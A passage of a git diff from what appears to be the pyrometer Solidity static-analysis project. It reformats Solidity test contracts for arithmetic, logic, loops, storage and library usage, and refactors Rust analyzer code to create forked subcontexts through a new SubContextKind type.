+ uint64 max64 = type(uint64).max; + require(max64 == 2 ** 64 - 1); + uint56 max56 = type(uint56).max; + require(max56 == 2 ** 56 - 1); + uint48 max48 = type(uint48).max; + require(max48 == 2 ** 48 - 1); + uint40 max40 = type(uint40).max; + require(max40 == 2 ** 40 - 1); + uint32 max32 = type(uint32).max; + require(max32 == 2 ** 32 - 1); + uint24 max24 = type(uint24).max; + require(max24 == 2 ** 24 - 1); + uint16 max16 = type(uint16).max; + require(max16 == 2 ** 16 - 1); + uint8 max8 = type(uint8).max; + require(max8 == 2 ** 8 - 1); - uint256 min256 = type(uint256).min; - require(min256 == 0); - uint248 min248 = type(uint248).min; - require(min248 == 0); - uint240 min240 = type(uint240).min; - require(min240 == 0); - uint232 min232 = type(uint232).min; - require(min232 == 0); - uint224 min224 = type(uint224).min; - require(min224 == 0); - uint216 min216 = type(uint216).min; - require(min216 == 0); - uint208 min208 = type(uint208).min; - require(min208 == 0); - uint200 min200 = type(uint200).min; - require(min200 == 0); - uint192 min192 = type(uint192).min; - require(min192 == 0); - uint184 min184 = type(uint184).min; - require(min184 == 0); - uint176 min176 = type(uint176).min; - require(min176 == 0); - uint168 min168 = type(uint168).min; - require(min168 == 0); - uint160 min160 = type(uint160).min; - require(min160 == 0); - uint152 min152 = type(uint152).min; - require(min152 == 0); - uint144 min144 = type(uint144).min; - require(min144 == 0); - uint136 min136 = type(uint136).min; - require(min136 == 0); - uint128 min128 = type(uint128).min; - require(min128 == 0); - uint120 min120 = type(uint120).min; - require(min120 == 0); - uint112 min112 = type(uint112).min; - require(min112 == 0); - uint104 min104 = type(uint104).min; - require(min104 == 0); - uint96 min96 = type(uint96).min; - require(min96 == 0); - uint88 min88 = type(uint88).min; - require(min88 == 0); - uint80 min80 = type(uint80).min; - require(min80 == 0); - uint72 min72 = type(uint72).min; - require(min72 == 0); - uint64 min64 = type(uint64).min; - require(min64 == 0); - uint56 min56 = type(uint56).min; - require(min56 == 0); - uint48 min48 = type(uint48).min; - require(min48 == 0); - uint40 min40 = type(uint40).min; - require(min40 == 0); - uint32 min32 = type(uint32).min; - require(min32 == 0); - uint24 min24 = type(uint24).min; - require(min24 == 0); - uint16 min16 = type(uint16).min; - require(min16 == 0); - uint8 min8 = type(uint8).min; - require(min8 == 0); - } + uint256 min256 = type(uint256).min; + require(min256 == 0); + uint248 min248 = type(uint248).min; + require(min248 == 0); + uint240 min240 = type(uint240).min; + require(min240 == 0); + uint232 min232 = type(uint232).min; + require(min232 == 0); + uint224 min224 = type(uint224).min; + require(min224 == 0); + uint216 min216 = type(uint216).min; + require(min216 == 0); + uint208 min208 = type(uint208).min; + require(min208 == 0); + uint200 min200 = type(uint200).min; + require(min200 == 0); + uint192 min192 = type(uint192).min; + require(min192 == 0); + uint184 min184 = type(uint184).min; + require(min184 == 0); + uint176 min176 = type(uint176).min; + require(min176 == 0); + uint168 min168 = type(uint168).min; + require(min168 == 0); + uint160 min160 = type(uint160).min; + require(min160 == 0); + uint152 min152 = type(uint152).min; + require(min152 == 0); + uint144 min144 = type(uint144).min; + require(min144 == 0); + uint136 min136 = type(uint136).min; + require(min136 == 0); + uint128 min128 = type(uint128).min; + require(min128 == 0); + uint120 min120 = type(uint120).min; + require(min120 == 0); + uint112 min112 = type(uint112).min; + require(min112 == 0); + uint104 min104 = type(uint104).min; + require(min104 == 0); + uint96 min96 = type(uint96).min; + require(min96 == 0); + uint88 min88 = type(uint88).min; + require(min88 == 0); + uint80 min80 = type(uint80).min; + require(min80 == 0); + uint72 min72 = type(uint72).min; + require(min72 == 0); + uint64 min64 = type(uint64).min; + require(min64 == 0); + uint56 min56 = type(uint56).min; + require(min56 == 0); + uint48 min48 = type(uint48).min; + require(min48 == 0); + uint40 min40 = type(uint40).min; + require(min40 == 0); + uint32 min32 = type(uint32).min; + require(min32 == 0); + uint24 min24 = type(uint24).min; + require(min24 == 0); + uint16 min16 = type(uint16).min; + require(min16 == 0); + uint8 min8 = type(uint8).min; + require(min8 == 0); + } - function addressAttrs(address payable x, address y) public { - address tester = address(100); - uint256 bal = tester.balance; - bytes memory code = tester.code; - bytes32 codehash = tester.codehash; - bool result = tester.send(1); - tester.transfer(1); - x.call(""); - y.call(""); - x.delegatecall(""); - y.delegatecall(""); - x.staticcall(""); - y.staticcall(""); - } + function addressAttrs(address payable x, address y) public { + address tester = address(100); + uint256 bal = tester.balance; + bytes memory code = tester.code; + bytes32 codehash = tester.codehash; + bool result = payable(tester).send(1); + result; + codehash; + code; + bal; + payable(tester).transfer(1); + (bool r, bytes memory d) = x.call(""); + (r, d) = y.call(""); + (r, d) = x.delegatecall(""); + (r, d) = y.delegatecall(""); + (r, d) = x.staticcall(""); + (r, d) = y.staticcall(""); + } } contract Other { - function dummyFunc() public returns (uint256) { - return 100; - } + function dummyFunc() public pure returns (uint256) { + return 100; + } } interface IOther { - function dummyFunc() external returns (uint256); + function dummyFunc() external returns (uint256); } diff --git a/crates/pyrometer/tests/test_data/join.sol b/crates/pyrometer/tests/test_data/join.sol index 00d52603..ee3b67ff 100644 --- a/crates/pyrometer/tests/test_data/join.sol +++ b/crates/pyrometer/tests/test_data/join.sol @@ -1,35 +1,37 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + contract A { - uint constant doubleScale = 1e36; + uint constant doubleScale = 1e36; - struct Double { + struct Double { uint mantissa; } - function mulIf_(uint a, Double memory b) pure internal returns (uint) { - if (b.mantissa > 10) { - return mul_(a, 10) / doubleScale; - } else { - return mul_(a, b.mantissa) / doubleScale; - } - + function mulIf_(uint a, Double memory b) internal pure returns (uint) { + if (b.mantissa > 10) { + return mul_(a, 10) / doubleScale; + } else { + return mul_(a, b.mantissa) / doubleScale; + } } - function mul_(uint a, Double memory b) pure internal returns (uint) { + function mul_(uint a, Double memory b) internal pure returns (uint) { return mul_(a, b.mantissa) / doubleScale; } - function mul_(uint a, uint b) pure internal returns (uint) { + function mul_(uint a, uint b) internal pure returns (uint) { return a * b; } - function pureChildrenNoFork() pure internal { - Double memory d = Double({mantissa: 1e36}); - uint256 ret = mul_(10, d); - require(ret == 10); + function pureChildrenNoFork() internal pure { + Double memory d = Double({mantissa: 1e36}); + uint256 ret = mul_(10, d); + require(ret == 10); } - function pureChildrenFork(uint256 x) pure internal { - Double memory d = Double({mantissa: x}); - mulIf_(10, d); + function pureChildrenFork(uint256 x) internal pure { + Double memory d = Double({mantissa: x}); + mulIf_(10, d); } -} \ No newline at end of file +} diff --git a/crates/pyrometer/tests/test_data/logical.sol b/crates/pyrometer/tests/test_data/logical.sol index e7d0d95b..fa969cc2 100644 --- a/crates/pyrometer/tests/test_data/logical.sol +++ b/crates/pyrometer/tests/test_data/logical.sol @@ -1,3 +1,5 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; enum MyEnum { A, B, @@ -5,17 +7,16 @@ enum MyEnum { } contract Logical { - function enumCmp() public returns (bool) { + function enumCmp() public pure returns (bool) { return MyEnum.A > MyEnum.B; } - - function yulCmp() internal { + function yulCmp() internal pure { uint x; uint y; assembly { - x := gt(2,3) - y := eq(2,3) + x := gt(2, 3) + y := eq(2, 3) } } @@ -28,38 +29,40 @@ contract Logical { require(success); } - function or(address a) internal virtual { assembly { { - if iszero(or(a, 0x0)) {} + if iszero(or(a, 0x0)) { + + } } } } - function eq(address a) public { + function eq(address a) public pure { assembly { - if eq(0x0, a) {} + if eq(0x0, a) { + + } } } - - function not() public { + function not() public pure { uint256 a = 100; bool s = a < 100; require(!s); } - function cond_not(uint256 a) public { + function cond_not(uint256 a) public pure { bool s = a < 100; if (!s) { require(!s); } else { - require(s); + require(s); } } - function cond_and(bool a, bool b) public { + function cond_and(bool a, bool b) public pure { if (a && b) { require(a); require(b); @@ -70,16 +73,16 @@ contract Logical { } } - function cond_if(uint256 a) public { + function cond_if(uint256 a) public pure { bool s = a < 100; if (s) { require(s); } else { - require(!s); + require(!s); } } - function and() public { + function and() public pure { uint256 a = 100; uint256 b = 1000; bool s = a > 99; @@ -87,7 +90,7 @@ contract Logical { require(s && t); } - function or_basic() public { + function or_basic() public pure { uint256 a = 100; uint256 b = 1000; bool s = a > 99; @@ -95,14 +98,14 @@ contract Logical { require(s || t); } - function or() public { + function or() public pure { uint256 a = 100; uint256 b = 1000; bool s = a > 99 || b < 1000; require(s); } - function or_inline() public { + function or_inline() public pure { uint256 a = 100; uint256 b = 1000; require(a > 99 || b < 1000); diff --git a/crates/pyrometer/tests/test_data/loops.sol b/crates/pyrometer/tests/test_data/loops.sol index a2e5715d..c656d5ae 100644 --- a/crates/pyrometer/tests/test_data/loops.sol +++ b/crates/pyrometer/tests/test_data/loops.sol @@ -1,5 +1,8 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + contract For { - function const_loop() public { + function const_loop() public pure returns (uint) { uint256 x; for (uint256 i; i < 10; i++) { x += 1; @@ -10,7 +13,7 @@ contract For { return x; } - function const_loop_def_iter() public { + function const_loop_def_iter() public pure returns (uint) { uint256 x; for (uint256 i = 1; i < 10; i++) { i += 1; @@ -20,7 +23,7 @@ contract For { return x; } - function while_loop(uint256 x) public { + function while_loop(uint256 x) public pure returns (uint) { while (x > 10) { x -= 1; } @@ -29,20 +32,12 @@ contract For { return x; } - function complicated_while_loop(uint256 amount) public returns (uint256) { + function complicated_while_loop( + uint256 amount + ) public pure returns (uint256) { uint256 x = amount; amount -= x; return amount; - // uint256 balance = 1; - // uint256 amountToRedeem; - // if (amount > balance) { - // amountToRedeem = balance; - // } else { - // amountToRedeem = amount; - // } - // amount -= amountToRedeem; - - // return amount; } function loop_op_assign(uint256 value) internal pure { @@ -54,6 +49,3 @@ contract For { } } } - - - diff --git a/crates/pyrometer/tests/test_data/math.sol b/crates/pyrometer/tests/test_data/math.sol index 014a72d4..e78f12fe 100644 --- a/crates/pyrometer/tests/test_data/math.sol +++ b/crates/pyrometer/tests/test_data/math.sol @@ -1,3 +1,6 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + contract Div { function div(uint256 x, uint256 y) public pure returns (uint256) { return x / y; @@ -7,7 +10,7 @@ contract Div { return x / y; } - function div_conc() public pure returns (uint256) { + function div_conc() public pure { uint256 a1 = div(100, 1); require(a1 == 100); uint256 a2 = div(100, 2); @@ -126,7 +129,7 @@ contract Mul { return x * y; } - function mul_conc() public pure returns (uint256) { + function mul_conc() public pure { uint256 a1 = mul(100, 1); require(a1 == 100); uint256 a2 = mul(100, 2); @@ -245,7 +248,7 @@ contract Exp { return x ** y; } - function exp_conc() public pure returns (uint256) { + function exp_conc() public pure { uint256 a1 = exp(0, 0); require(a1 == 1); uint256 a2 = exp(0, 1); @@ -255,7 +258,10 @@ contract Exp { uint256 a4 = exp(100, 8); require(a4 == 10000000000000000); uint256 a5 = exp(1000000000, 8); - require(a5 == 1000000000000000000000000000000000000000000000000000000000000000000000000); + require( + a5 == + 1000000000000000000000000000000000000000000000000000000000000000000000000 + ); uint256 a6 = exp(2, 24); require(a6 == 16777216); } @@ -283,7 +289,7 @@ contract Add { return x + y; } - function add_conc() public pure returns (uint256) { + function add_conc() public pure { uint256 a1 = add(100, 1); require(a1 == 101); uint256 a2 = add(100, 2); @@ -402,7 +408,7 @@ contract Sub { return x - y; } - function sub_conc() public pure returns (uint256) { + function sub_conc() public pure { uint256 a1 = sub(100, 1); require(a1 == 99); uint256 a2 = sub(100, 2); @@ -573,7 +579,7 @@ contract AssignMath { } contract Mod { - function rmod(uint256 x, uint256 y) public pure returns (uint256) { + function rmod(uint256 x, uint256 y) public pure returns (uint256) { return x % y; } @@ -595,29 +601,42 @@ contract Unchecked { assembly { a := sub(0, 100) } - require(a == 115792089237316195423570985008687907853269984665640564039457584007913129639836); + require( + a == + 115792089237316195423570985008687907853269984665640564039457584007913129639836 + ); int256 y = type(int256).min; assembly { a := sub(y, 100) } - require(a == 57896044618658097711785492504343953926634992332820282019728792003956564819868); + require( + a == + 57896044618658097711785492504343953926634992332820282019728792003956564819868 + ); } function uncheckedSub(uint256 a) public pure { unchecked { - a = 0 - 100; + uint t = 0; + a = t - 100; } - require(a == 115792089237316195423570985008687907853269984665640564039457584007913129639836); + require( + a == + 115792089237316195423570985008687907853269984665640564039457584007913129639836 + ); int256 y = type(int256).min; unchecked { - a = y - 100; + a = uint(y) - 100; } - require(a == 57896044618658097711785492504343953926634992332820282019728792003956564819868); + require( + a == + 57896044618658097711785492504343953926634992332820282019728792003956564819868 + ); } - function uncheckedSymbolicSub(uint256 a, uint256 b) public pure { + function uncheckedSymbolicSub(uint256 a) public pure { unchecked { a -= 100; } @@ -647,7 +666,10 @@ contract Unchecked { assembly { a := mul(m, m) } - require(a == 115792089237316195423570985008687907852589419931798687112530834793049593217025); + require( + a == + 115792089237316195423570985008687907852589419931798687112530834793049593217025 + ); a /= 3; a *= 3; // require(a == 115792089237316195423570985008687907852589419931798687112530834793049593217025); @@ -665,13 +687,14 @@ contract Unchecked { function symbUncheckedMul(int256 a, int b) public pure { unchecked { a = a * b; - int c = a * a / a; - int d = a * c * b; + int c1 = (a * a) / a; + int d1 = a * c1 * b; + d1; } - a = a * b; - int c = a * a / a; + int c = (a * a) / a; int d = a * c * b; + d; } function asmSymbUncheckedMul(int256 a, int b) public pure { diff --git a/crates/pyrometer/tests/test_data/modifier.sol b/crates/pyrometer/tests/test_data/modifier.sol index 86aad8ff..8ca9f205 100644 --- a/crates/pyrometer/tests/test_data/modifier.sol +++ b/crates/pyrometer/tests/test_data/modifier.sol @@ -1,3 +1,6 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + contract Modifier { uint256 a; @@ -45,11 +48,13 @@ contract Modifier { function input(uint256 b, uint256 q) public Input(b) Input(q) { uint256 k = b; + k; require(a == 4); } function internalMod(uint256 b) internal Input(b) { uint256 k = b; + k; require(a == 2); } @@ -57,7 +62,7 @@ contract Modifier { internalMod(b); } - function addOne(uint256 x) internal returns (uint256) { + function addOne(uint256 x) internal pure returns (uint256) { return x + 1; } @@ -65,7 +70,9 @@ contract Modifier { return x; } - function inputFuncConst(uint256 x) internal Input(addOne(99)) returns (uint256) { + function inputFuncConst( + uint256 x + ) internal Input(addOne(99)) returns (uint256) { require(a == 2); return x; } diff --git a/crates/pyrometer/tests/test_data/named_func_call.sol b/crates/pyrometer/tests/test_data/named_func_call.sol index 026050cb..142a84e2 100644 --- a/crates/pyrometer/tests/test_data/named_func_call.sol +++ b/crates/pyrometer/tests/test_data/named_func_call.sol @@ -1,20 +1,23 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + contract StruktTester { - struct A { - uint256 b; - uint256 c; - } + struct A { + uint256 b; + uint256 c; + } - function constructStruct() public { - A memory b = A({b: 100, c: 100}); - require(b.b == 100); - require(b.c == 100); - } + function constructStruct() public pure { + A memory b = A({b: 100, c: 100}); + require(b.b == 100); + require(b.c == 100); + } - function namedCallPub() public { - namedCall({x: 100}); - } + function namedCallPub() public pure { + namedCall({x: 100}); + } - function namedCall(uint256 x) internal { - require(x == 100); - } -} \ No newline at end of file + function namedCall(uint256 x) internal pure { + require(x == 100); + } +} diff --git a/crates/pyrometer/tests/test_data/precedence.sol b/crates/pyrometer/tests/test_data/precedence.sol index 988c0441..eb8ec096 100644 --- a/crates/pyrometer/tests/test_data/precedence.sol +++ b/crates/pyrometer/tests/test_data/precedence.sol @@ -1,15 +1,18 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + contract PlusPlus { - mapping(uint => uint) map; - uint public index; - uint public a; + mapping(uint => uint) map; + uint public index; + uint public a; - function foo() public returns (uint, uint, uint, uint, uint) { - require(index == 0); - (a, map[++index]) = (index, bar(++index)); - return (a, index, map[0], map[1], map[2]); - } + function foo() public returns (uint, uint, uint, uint, uint) { + require(index == 0); + (a, map[++index]) = (index, bar(++index)); + return (a, index, map[0], map[1], map[2]); + } - function bar(uint x) public returns (uint) { - return x; - } -} \ No newline at end of file + function bar(uint x) public pure returns (uint) { + return x; + } +} diff --git a/crates/pyrometer/tests/test_data/remapping_import.sol b/crates/pyrometer/tests/test_data/remapping_import.sol index 40340be2..0115658b 100644 --- a/crates/pyrometer/tests/test_data/remapping_import.sol +++ b/crates/pyrometer/tests/test_data/remapping_import.sol @@ -1,8 +1,11 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + import "@relative/relative_import.sol"; contract RemappingImport { - function deploy() public { - Env env = Env(address(100)); - env.msg_sender(); - } -} \ No newline at end of file + function deploy() public { + Env env = Env(address(100)); + env.msg_sender(); + } +} diff --git a/crates/pyrometer/tests/test_data/require.sol b/crates/pyrometer/tests/test_data/require.sol index e010536b..fdfb7c2f 100644 --- a/crates/pyrometer/tests/test_data/require.sol +++ b/crates/pyrometer/tests/test_data/require.sol @@ -1,66 +1,69 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + contract Require { - function u_int256_y(uint256 x, uint256 y) public { + function u_int256_y(uint256 x, uint256 y) public pure { require(x > 100); require(y != x); } - function u_int256(uint256 x) public { + function u_int256(uint256 x) public pure { require(x > 100); require(x == 101); } - function u_int256_neq(uint256 x) public { + function u_int256_neq(uint256 x) public pure { require(x > 100); require(x != 101); } - function u_int128(uint128 x) public { + function u_int128(uint128 x) public pure { require(x > 100); require(x == 101); } - function u_int64(uint64 x) public { + function u_int64(uint64 x) public pure { require(x > 100); require(x == 101); } - function a_ddress(address x) public { + function a_ddress(address x) public pure { require(x == address(100)); } - function a_ddress_neq(address x) public { + function a_ddress_neq(address x) public pure { require(x != address(100)); } - function b_ytes32(bytes32 x) public { + function b_ytes32(bytes32 x) public pure { require(x == bytes32(hex"1337")); } - function b_ytes32_neq(bytes32 x) public { + function b_ytes32_neq(bytes32 x) public pure { require(x != bytes32(hex"1337")); } - function b_ytes32_neq(bytes32 x) public { + function b_ytes32_neq_2(bytes32 x) public pure { require(x != bytes32(hex"00")); } - function b_ytes16(bytes16 x) public { + function b_ytes16(bytes16 x) public pure { require(x == bytes16(hex"1337")); } - function b_ytes8(bytes8 x) public { + function b_ytes8(bytes8 x) public pure { require(x == bytes8(hex"1337")); } - function b_ytes8(bytes4 x) public { + function b_ytes8(bytes4 x) public pure { require(x == bytes4(hex"1337")); } - function b_ytes2(bytes2 x) public { + function b_ytes2(bytes2 x) public pure { require(x == bytes2(hex"1337")); } - function b_ytes1(bytes1 x) public { + function b_ytes1(bytes1 x) public pure { require(x == bytes1(hex"13")); } } diff --git a/crates/pyrometer/tests/test_data/storage.sol b/crates/pyrometer/tests/test_data/storage.sol index 25749895..8f7eea9a 100644 --- a/crates/pyrometer/tests/test_data/storage.sol +++ b/crates/pyrometer/tests/test_data/storage.sol @@ -1,43 +1,46 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + contract Storage { - uint256 a; - mapping (address => uint256) public map; - mapping (address => mapping ( address => uint256)) public nestedMap; - uint256[] public arr; - uint256[][] public nestedArr; - - uint256[49] private __gap; - - function setSizedUint(uint256 x, uint256 y) public { - __gap[x] = y; - } - - function setUint(uint256 x, uint256 y) public returns (uint256) { - a = 100; - require(a == 100); - a = x; - require(a == x); - - y += 1; - return x; - } - - function setMap(address who) public { - map[who] = 1000; - require(map[who] == 1000); - } - - function setNestedMap(address who, address who2) public { - nestedMap[who][who2] = 1000; - require(nestedMap[who][who2] == 1000); - } - - function setArray(uint256 idx) public { - arr[idx] = 1000; - require(arr[idx] == 1000); - } - - function setNestedArray(uint256 idx, uint256 idx2) public { - nestedArr[idx][idx2] = 1000; - require(nestedArr[idx][idx2] == 1000); - } + uint256 a; + mapping(address => uint256) public map; + mapping(address => mapping(address => uint256)) public nestedMap; + uint256[] public arr; + uint256[][] public nestedArr; + + uint256[49] private __gap; + + function setSizedUint(uint256 x, uint256 y) public { + __gap[x] = y; + } + + function setUint(uint256 x, uint256 y) public returns (uint256) { + a = 100; + require(a == 100); + a = x; + require(a == x); + + y += 1; + return x; + } + + function setMap(address who) public { + map[who] = 1000; + require(map[who] == 1000); + } + + function setNestedMap(address who, address who2) public { + nestedMap[who][who2] = 1000; + require(nestedMap[who][who2] == 1000); + } + + function setArray(uint256 idx) public { + arr[idx] = 1000; + require(arr[idx] == 1000); + } + + function setNestedArray(uint256 idx, uint256 idx2) public { + nestedArr[idx][idx2] = 1000; + require(nestedArr[idx][idx2] == 1000); + } } diff --git a/crates/pyrometer/tests/test_data/using.sol b/crates/pyrometer/tests/test_data/using.sol index 7a9cfe88..d89bba4b 100644 --- a/crates/pyrometer/tests/test_data/using.sol +++ b/crates/pyrometer/tests/test_data/using.sol @@ -1,16 +1,19 @@ -function x(uint256 x) internal returns (uint256) { - return x + 20; +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + +function x(uint256 x1) pure returns (uint256) { + return x1 + 20; } library MyLib { - function y(uint256 x) internal returns (uint256) { - return x + 10; + function y(uint256 x4) internal pure returns (uint256) { + return x4 + 10; } } library MyOtherLib { - function z(uint256 x) internal returns (uint256) { - return x + 15; + function z(uint256 x3) internal pure returns (uint256) { + return x3 + 15; } } @@ -19,15 +22,14 @@ contract C { uint256 c; } - function a() public returns (uint256) { + function a() public pure returns (uint256) { return 100; - } } library MyOtherOtherLib { - function w(uint256 x) internal returns (uint256) { - return x + 30; + function w(uint256 x2) internal pure returns (uint256) { + return x2 + 30; } struct A { @@ -38,51 +40,49 @@ library MyOtherOtherLib { using MyLib for uint256; contract UsingMyLib { - - function libStruct() public { + function libStruct() public pure { MyOtherOtherLib.A memory s; s.b = 100; } - function conStruct() public { + function conStruct() public pure { uint256 val = C(address(1)).a(); require(val == 100); C.B memory s; s.c = 100; } - using MyOtherLib for uint256; using {x, MyOtherOtherLib.w} for uint256; - function a(uint256 y) public returns (uint256) { + function a(uint256 y) public pure returns (uint256) { return y.z(); } - function a_conc() public returns (uint256) { + function a_conc() public pure returns (uint256) { uint256 y = 100; uint256 ret = y.z(); require(ret == 115); return ret; } - function b(uint256 y) public returns (uint256) { + function b(uint256 y) public pure returns (uint256) { return y.y(); } - function b_conc() public returns (uint256) { + function b_conc() public pure returns (uint256) { uint256 y = 100; uint256 ret = y.y(); require(ret == 110); return ret; } - function c(uint256 y) public returns (uint256) { + function c(uint256 y) public pure returns (uint256) { return y.w(); } - function c_conc() public returns (uint256) { + function c_conc() public pure returns (uint256) { uint256 y = 100; uint256 ret = y.w(); require(ret == 130); @@ -96,7 +96,8 @@ library lib { contract More { using lib for address; + function bar(address a) public { a.foo(); } -} \ No newline at end of file +} diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index 28501e40..47d31a60 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -1,6 +1,5 @@ -use crate::{AnalyzerLike, ExprErr, IntoExprErr, RangeArena, StorageLocation}; -use solang_parser::pt::{Expression, Loc, Statement, Type}; -use solang_parser::pt::{Identifier, NamedArgument}; +use crate::StorageLocation; +use solang_parser::pt::{Expression, Loc, NamedArgument, Type}; #[derive(Debug, Clone, Copy)] pub enum ExprFlag { diff --git a/crates/solc-expressions/src/assign.rs b/crates/solc-expressions/src/assign.rs index bf6787fc..4b950f21 100644 --- a/crates/solc-expressions/src/assign.rs +++ b/crates/solc-expressions/src/assign.rs @@ -185,7 +185,7 @@ pub trait Assign: AnalyzerBackend + Sized rhs_cvar, new_lhs, Edge::Context(ContextEdge::ReturnAssign( - rhs_ctx.underlying(self).unwrap().ext_fn_call.is_some(), + rhs_ctx.underlying(self).unwrap().is_ext_fn_call(), )), ); } else { diff --git a/crates/solc-expressions/src/cond_op.rs b/crates/solc-expressions/src/cond_op.rs index a004d102..f3e1db33 100644 --- a/crates/solc-expressions/src/cond_op.rs +++ b/crates/solc-expressions/src/cond_op.rs @@ -1,8 +1,8 @@ -use crate::{require::Require, ContextBuilder, ExpressionParser, StatementParser}; +use crate::{require::Require, ContextBuilder, ExpressionParser}; use graph::{ elem::Elem, - nodes::{Concrete, Context, ContextNode}, + nodes::{Concrete, Context, ContextNode, SubContextKind}, AnalyzerBackend, ContextEdge, Edge, Node, }; use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; @@ -173,22 +173,17 @@ pub trait CondOp: AnalyzerBackend + Requir ) -> Result<(), ExprErr> { tracing::trace!("conditional operator"); self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + let true_subctx_kind = SubContextKind::new_fork(ctx, true); let tctx = - Context::new_subctx(ctx, None, loc, Some("true"), None, false, analyzer, None) - .into_expr_err(loc)?; + Context::new_subctx(true_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; let true_subctx = ContextNode::from(analyzer.add_node(Node::Context(tctx))); + + let false_subctx_kind = SubContextKind::new_fork(ctx, false); let fctx = - Context::new_subctx(ctx, None, loc, Some("false"), None, false, analyzer, None) - .into_expr_err(loc)?; + Context::new_subctx(false_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; let false_subctx = ContextNode::from(analyzer.add_node(Node::Context(fctx))); ctx.set_child_fork(true_subctx, false_subctx, analyzer) .into_expr_err(loc)?; - true_subctx - .set_continuation_ctx(analyzer, ctx, "fork_true") - .into_expr_err(loc)?; - false_subctx - .set_continuation_ctx(analyzer, ctx, "fork_false") - .into_expr_err(loc)?; let ctx_fork = analyzer.add_node(Node::ContextFork); analyzer.add_edge(ctx_fork, ctx, Edge::Context(ContextEdge::ContextFork)); analyzer.add_edge( diff --git a/crates/solc-expressions/src/context_builder/expr.rs b/crates/solc-expressions/src/context_builder/expr.rs index 1afed42f..5231e12f 100644 --- a/crates/solc-expressions/src/context_builder/expr.rs +++ b/crates/solc-expressions/src/context_builder/expr.rs @@ -1,22 +1,13 @@ -use crate::{ - context_builder::ContextBuilder, - func_call::{func_caller::FuncCaller, intrinsic_call::IntrinsicFuncCaller}, - variable::Variable, - ExprTyParser, -}; +use crate::ExprTyParser; use graph::{ elem::*, - nodes::{Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet, KilledKind}, - AnalyzerBackend, ContextEdge, Edge, Node, + nodes::{Concrete, ContextNode, KilledKind}, + AnalyzerBackend, }; use shared::{post_to_site, ExprErr, IntoExprErr, RangeArena, USE_DEBUG_SITE}; -use ethers_core::types::I256; -use solang_parser::{ - helpers::CodeLocation, - pt::{Expression, Loc}, -}; +use solang_parser::{helpers::CodeLocation, pt::Expression}; impl ExpressionParser for T where T: AnalyzerBackend + Sized + ExprTyParser @@ -79,7 +70,6 @@ pub trait ExpressionParser: expr: &Expression, ctx: ContextNode, ) -> Result<(), ExprErr> { - use Expression::*; // tracing::trace!( // "ctx: {}, current stack: {:?}, \nexpr: {:?}\n", // ctx.underlying(self).unwrap().path, diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 6bb9a156..197931be 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -9,17 +9,13 @@ use graph::{ elem::{Elem, RangeOp}, nodes::{ Builtin, Concrete, Context, ContextNode, ContextVar, ContextVarNode, ContractNode, ExprRet, - FunctionNode, KilledKind, StructNode, + FunctionNode, KilledKind, StructNode, SubContextKind, }, AnalyzerBackend, ContextEdge, Edge, Node, TypeNode, VarType, }; -use shared::{ - string_to_static, AnalyzerLike, ExprErr, ExprFlag, FlatExpr, IntoExprErr, NodeIdx, RangeArena, - StorageLocation, -}; -use solang_parser::pt::Identifier; -use solang_parser::pt::{CodeLocation, Expression, Loc, Statement, Type}; +use shared::{string_to_static, ExprErr, ExprFlag, FlatExpr, IntoExprErr, NodeIdx, RangeArena}; +use solang_parser::pt::{CodeLocation, Expression, Loc, Statement}; impl Flatten for T where T: AnalyzerBackend + Sized + ExprTyParser @@ -644,20 +640,16 @@ pub trait Flatten: else { unreachable!() }; - let tctx = Context::new_subctx(ctx, None, loc, Some("true"), None, false, self, None) - .into_expr_err(loc)?; + + let true_subctx_kind = SubContextKind::new_fork(ctx, true); + let tctx = Context::new_subctx(true_subctx_kind, loc, self, None).into_expr_err(loc)?; let true_subctx = ContextNode::from(self.add_node(Node::Context(tctx))); - let fctx = Context::new_subctx(ctx, None, loc, Some("false"), None, false, self, None) - .into_expr_err(loc)?; + + let false_subctx_kind = SubContextKind::new_fork(ctx, false); + let fctx = Context::new_subctx(false_subctx_kind, loc, self, None).into_expr_err(loc)?; let false_subctx = ContextNode::from(self.add_node(Node::Context(fctx))); ctx.set_child_fork(true_subctx, false_subctx, self) .into_expr_err(loc)?; - true_subctx - .set_continuation_ctx(self, ctx, "fork_true") - .into_expr_err(loc)?; - false_subctx - .set_continuation_ctx(self, ctx, "fork_false") - .into_expr_err(loc)?; let ctx_fork = self.add_node(Node::ContextFork); self.add_edge(ctx_fork, ctx, Edge::Context(ContextEdge::ContextFork)); self.add_edge( diff --git a/crates/solc-expressions/src/context_builder/stmt.rs b/crates/solc-expressions/src/context_builder/stmt.rs index 532210ff..f9d3244b 100644 --- a/crates/solc-expressions/src/context_builder/stmt.rs +++ b/crates/solc-expressions/src/context_builder/stmt.rs @@ -1,26 +1,9 @@ -use crate::{ - context_builder::ContextBuilder, - func_call::{func_caller::FuncCaller, modifier::ModifierCaller}, - loops::Looper, - yul::YulBuilder, - ExpressionParser, TestCommandRunner, -}; +use crate::{ExpressionParser, TestCommandRunner}; -use graph::{ - elem::Elem, - nodes::{ - Concrete, Context, ContextNode, ContextVar, ContextVarNode, ExprRet, FunctionNode, - FunctionParamNode, FunctionReturnNode, KilledKind, - }, - AnalyzerBackend, 